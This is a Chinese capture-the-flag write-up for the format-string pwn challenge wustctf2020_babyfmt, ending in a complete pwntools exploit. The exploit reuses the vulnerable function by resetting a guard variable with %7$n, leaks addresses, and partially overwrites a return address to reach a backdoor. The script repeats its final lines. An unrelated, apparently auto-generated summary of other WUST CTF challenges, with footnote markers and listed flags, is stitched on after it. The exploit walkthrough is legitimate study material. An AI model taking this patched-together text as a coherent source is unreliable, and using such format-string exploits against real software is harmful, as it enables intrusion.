wustctf2020_babyfmt

本文介绍了一种通过避开fmt函数的判定条件,利用`fmt_attack`函数实现简单漏洞利用的方法。作者详细讲解了如何利用 `%7$n` 指令来复用函数,修改返回地址并计算elf基址,最终完成后门设置。

一道简单fmt题,但是我搜解题记录时,觉得解得都挺复杂的。

似乎还没有文章用我的方法,那我就写一种简单的解法。

绕过fmt判断条件

我只用到了fmt_attack函数。

由于有一个判定条件:

unsigned __int64 __fastcall fmt_attack(int *a1)
{
  char format[56]; // [rsp+10h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(format, 0, 0x30uLL);
  if ( *a1 > 0 )
  {
    puts("No way!");
    exit(1);
  }
  *a1 = 1;
  read_n(format, 40LL, format);
  printf(format);
  return __readfsqword(0x28u) ^ v3;

因此我们每次使用该函数时,将*a1处的值改为零即可循环利用该函数。

打断点,运行到代码*a1 = 1处

1

单步跟进,查看rax的值(a1地址)

2

运行到printf函数,查看a1的偏移

3

算上64位6个寄存器传参,偏移量+6,则a1偏移量为7。

则我们每次利用fmt_attack函数时,加上%7$n即可令*a1=0,即可重复利用fmt_attack。

更改返回地址为后门函数地址

运行到printf函数时,栈中会有许多函数返回地址。

其中第一条为fmt_attack函数的返回地址,

第二条是main函数的返回地址(main函数执行完会执行libc_start_main函数)。

由于本题开了pie保护,我们可以用partial write 篡改第一个返回地址。

4

注意:后门函数直接跳转到close函数后即可。

5

计算elf基址:

payload = b'%7$n+%17$p'
fmt(payload)
r.recvuntil(b'+')
ret_value = int(r.recvuntil(b'\n')[:-1],16)
elf_base = ret_value-0x102c

下一步直接更改低二字节即可。

低二字节值:

(elf_base+0xf56)&0xffff

完整exp

from pwn import *
r = process('/mnt/hgfs/ubuntu/BUUCTF/wustctf2020_babyfmt')
# r = remote('node4.buuoj.cn',29629)
secret_addr =0x202060

def fmt(payload):
    r.recvuntil(b">>")
    r.sendline(b'2')
    r.sendline(payload)

r.sendline(b'1')
r.sendline(b'2')
r.sendline(b'3')

fmt(b'%7$n-%16$p')
r.recvuntil(b'-')
ret_addr = int(r.recvuntil(b'\n')[:-1],16)-0x28

payload = b'%7$n+%17$p'
fmt(payload)
r.recvuntil(b'+')
ret_value = int(r.recvuntil(b'\n')[:-1],16)
elf_base = ret_value-0x102c

payload1 = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload1 = payload1.ljust(0x10,b'a')
payload1+=p64(ret_addr)
fmt(payload1)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
r.interactive()

fmt(payload1)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
r.interactive()
### WUST CTF 2020 Misc 类别题目解析 #### 黄金体验镇魂曲 在该比赛中,选手需寻找特定格式的字符串作为标志(flag),例如 `wctf2020{y0u_kn0w_th3_rule5}` 并提交以获取分数[^2]。 #### 盲文转换挑战 对于名为`RE Cr0ssFun`的任务,给定的是一个看似无规律字符组合而成的字符串:`wctf2020{y$0$u_f$1$n$d$_M$e$e$e$e$e}`。通过分析可以发现这实际上是一个经过特殊编码处理后的Flag形式。去除其中多余的符号后可得正确答案[^1]。 #### PDF 文件中的秘密消息 存在一道涉及PDF文档的操作题——`Find me`。此题目的关键是利用图像编辑软件如Photoshop来揭示隐藏于图片内的文字信息,最终获得形似 `wctf2020{th1s_1s_@_pdf_and_y0u_can_use_phot0sh0p}` 的Flag[^3]。 #### 文本挖掘技巧应用实例 有一道关于从大量文本数据中提取有用信息的问题,在给出的文件夹内有一个叫做 Timothy 的子目录。通过对这些文本内容进行检索操作(比如使用 grep 工具),能够快速定位到含有 Flag 关键字的部分,进而得到完整的 Flag 字符串[^4]。 #### 实际环境互动实验 最后还有一项较为特别的任务叫作 Welcome 。参与者被提示要关注“三人”的概念,并执行随附的一个 exe 可执行程序。当向计算机展示三张不同人的照片时,便会触发显示 Flag 的机制[^5]。 ```python import re def extract_flag(text): pattern = r'wctf2020\{(.*?)\}' match = re.search(pattern, text) if match: return f"wctf2020{{{match.group(1)}}}" else: return "No flag found" text_samples = [ "blind text wctf2020{y$0$u_f$1$n$d$_M$e$e$e$e$e}", "gold experience requiem gives us the flag as wctf2020{y0u_kn0w_th3_rule5}", "hidden message inside pdf is revealed to be wctf2020{th1s_1s_@_pdf_and_y0u_can_use_phot0sh0p}", ] for sample in text_samples: print(extract_flag(sample)) ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值